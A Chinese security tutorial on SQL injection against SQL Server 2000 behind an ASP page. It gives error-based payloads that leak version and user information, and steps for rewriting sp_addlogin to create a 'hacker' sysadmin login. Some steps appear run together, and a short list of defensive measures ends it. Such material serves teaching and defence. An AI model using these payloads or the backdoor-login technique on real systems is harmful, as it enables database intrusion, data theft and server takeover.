資料庫是企業核心資產,SQL Injection 可讓攻擊者繞過驗證、竊取資料、甚至取得作業系統層級控制權。本文以實戰角度剖析攻擊鏈與防禦對策。
測試 URL:https://www.xxx.com/list.asp?classid=1'
回應錯誤:Microsoft OLE DB Provider for SQL Server error '80040e14' 未關閉的引號...
→ 確認存在 SQL Injection(單引號未過濾)。
| 函數 | 用途 |
|---|---|
@@VERSION | 取得 Windows 版本、SQL Server 版本、Service Pack 級別 |
USER_NAME() | 目前連線使用者 |
DB_NAME() | 目前資料庫名稱 |
HOST_NAME() | 主機名稱 |
注入 Payload:1 AND 0<>(SELECT @@VERSION)
錯誤訊息回顯版本資訊:Microsoft SQL Server 2000 - 8.00.760 (Intel X86) ... Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
→ 判斷:SQL 2000 SP3、Windows 2000 SP4。
Payload:1 AND USER_NAME()='dbo' → 正常回應 → 確認為 dbo。
進一步爆出:1 AND 0<>(SELECT USER_NAME()) → 錯誤回顯 dbo。
dbo 通常隸屬 sysadmin 伺服器角色,意味著擁有最高權限。
利用 db_owner 權限可修改 sp_addlogin、sp_addsrvrolemember 系統預存程序,繞過驗證邏輯直接新增登入並加入 sysadmin 角色。具體步驟:
DROP PROCEDURE sp_addloginsp_addlogin 核心邏輯。sp_addsrvrolemember 加入角色。EXEC sp_addlogin 'hacker', 'pwd'; EXEC sp_addsrvrolemember 'hacker', 'sysadmin'註:完整程式碼篇幅極長,核心在於移除 sp_validname、sp_validlang 等驗證呼叫,並允許任意 SID、密碼加密選項。
db_datareader/db_datawriter,嚴禁 db_owner、sysadmin。sysadmin 角色成員、db_owner 資料庫角色成員,移除異常帳號。